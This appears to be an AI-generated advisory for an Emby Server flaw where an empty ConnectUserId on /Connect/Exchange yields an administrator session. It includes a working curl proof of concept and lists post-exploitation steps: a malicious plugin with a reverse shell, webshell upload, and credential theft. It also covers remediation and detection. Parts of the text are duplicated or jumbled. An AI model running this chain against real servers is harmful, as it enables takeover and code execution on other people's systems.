CVE-2026-144410 — CWE-639 · CWE-862
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply an empty or omitted ConnectUserId to GET /Connect/Exchange in Emby.Server.Connect.dll. ConnectManager.GetLocalUser requests the first match, while UserManager.IncludeUser skips the Connect ID filter for an empty value. ConnectService.Get then creates a session for the selected account without verifying that the caller owns it. On a standard installation the first-created account is the administrator, so the caller can gain an administrator session and use administrative file upload and plugin loading to execute code in the server process. The issue does not require the administrator account to be linked to Emby Connect. This issue is fixed in stable 4.10.2.0 and beta 4.11.0.9.
Emby Server is a personal media server. Prior to 4.10.2.0 and beta 4.11.0.9, an authenticated user can supply an empty or omitted ConnectUserId to GET /Connect/Exchange in Emby.Server.Connect.dll. ConnectManager.GetLocalUser requests the first match, while UserManager.IncludeUser skips the Connect ID filter for an empty value. ConnectService.Get then creates a session for the selected account without verifying that the caller owns it. On a standard installation the first-created account is the administrator, so the caller can gain an administrator session and use administrative file upload and plugin loading to execute code in the server process. The issue does not require the administrator account to be linked to Emby Connect. This issue is fixed in stable 4.10.2.0 and beta 4.11.0.9.
🎯 What is this vulnerability?
This vulnerability is a Broken Access Control and Improper Authorization flaw (CWE-639, CWE-862) in the Emby Server's Connect integration module (Emby.Server.Connect.dll).
The core technical failure lies in the logic of the GET /Connect/Exchange endpoint. The application fails to validate that the user initiating the exchange actually owns the account being accessed. Specifically:
1. Input Handling Flaw: The endpoint accepts a ConnectUserId parameter. If this parameter is empty or omitted, the backend logic does not reject the request.
2. Logic Bypass in UserManager: When ConnectUserId is empty, the UserManager.IncludeUser method skips the filter that would normally restrict the query to a specific Connect ID.
3. Arbitrary User Selection: The ConnectManager.GetLocalUser method, when not constrained by a specific ID, requests the first match from the user database.
4. Session Hijacking/Creation: ConnectService.Get then creates a valid session token for this "first match" user without verifying that the authenticated caller (who only needs low-level privileges, e.g., a standard user) has ownership rights over that target account.
In a standard Emby installation, the first-created account is the Administrator. Therefore, any authenticated low-privileged user can trigger this endpoint with an empty ConnectUserId, effectively forcing the server to issue an Administrator session token for the caller.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify the target as running Emby Server. This can be done via: * HTTP headers (e.g.,
- Version Verification: Confirm the version is
< 4.10.2.0or< 4.11.0.9(beta).
Credential Acquisition: Obtain valid credentials for any* authenticated user (e.g., a standard user account). This can be achieved via:
* Brute-forcing weak passwords.
* Social engineering.
* Leaked credentials from other services.
Note: The vulnerability requires
Server: Emby Server).
* Checking for the presence of /System/Info or /Users endpoints.
* Scanning for the specific version string in the response body of /System/Info (e.g., "Version": "4.10.1.0").
PR:L (Low Privileges), so an admin account is not needed, just any valid user.*2. Exploitation
The attacker sends a request to the vulnerable endpoint with an empty or omittedConnectUserId.Illustrative PoC (curl):
# 1. Authenticate as a low-privileged user to obtain a valid session token
# Assume we have a standard user 'attacker_user' with password 'pass123'
TOKEN=$(curl -s -X POST "http://target:8096/Users/AuthenticateByName" \
-H "Content-Type: application/json" \
-d '{"Username": "attacker_user", "Pw": "pass123"}' \
| jq -r '.AccessToken')
# 2. Exploit the vulnerability by calling /Connect/Exchange with an empty ConnectUserId
# The server will return a session token for the FIRST user in the DB (typically Admin)
ADMIN_TOKEN=$(curl -s -X GET "http://target:8096/Connect/Exchange?ConnectUserId=" \
-H "X-Emby-Token: $TOKEN" \
-H "Accept: application/json" \
| jq -r '.AccessToken')
# 3. Verify the new token has admin privileges
curl -s -X GET "http://target:8096/Users" \
-H "X-Emby-Token: $ADMIN_TOKEN" \
| jq '.[] | select(.Policy.IsAdministrator == true)'Note: The exact parameter name ConnectUserId and endpoint /Connect/Exchange are derived from the CVE description. The JSON response structure is illustrative based on standard Emby API behavior.
3. Post-Exploitation
With the Administrator session token (ADMIN_TOKEN), the attacker can perform any administrative action, leading to Remote Code Execution (RCE):1. Plugin Upload (RCE):
* Navigate to /Plugins/Upload or use the API endpoint to upload a malicious plugin.
* Emby plugins are typically .NET assemblies (.dll) or JavaScript. A malicious .NET plugin can execute arbitrary code in the context of the Emby server process.
* Example: Upload a DLL containing a reverse shell or a command execution backdoor.
2. File Upload (Webshell):
* Use administrative file management APIs to upload a webshell (e.g., .aspx, .php, or .html with scriptlets if supported) to a web-accessible directory.
3. Data Exfiltration:
* Access all user media libraries, personal data, and configuration files.
* Read sensitive configuration files (e.g., embyserver.conf) for database credentials or API keys.
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds (If Upgrade is Not Immediately Possible)
Emby.Server.Connect.dll or disabling the plugin via the admin UI (if accessible) or configuration file./Connect/Exchange: Use a WAF or reverse proxy to block requests to /Connect/Exchange from non-administrative IPs or users. Note: This is fragile and not a complete fix.*
3. Detection (IoCs)
/Connect/Exchange with an empty or missing ConnectUserId parameter from non-administrative user tokens.GET /Connect/Exchange?ConnectUserId= HTTP/1.1
X-Emby-Token: <low_privilege_token>cmd.exe, powershell.exe, bash) that are not expected in a normal media server operation./plugins or %ProgramData%\Emby Server\plugins).⚠️ Urgency
[🤖 CVE Professor AI Security Engine]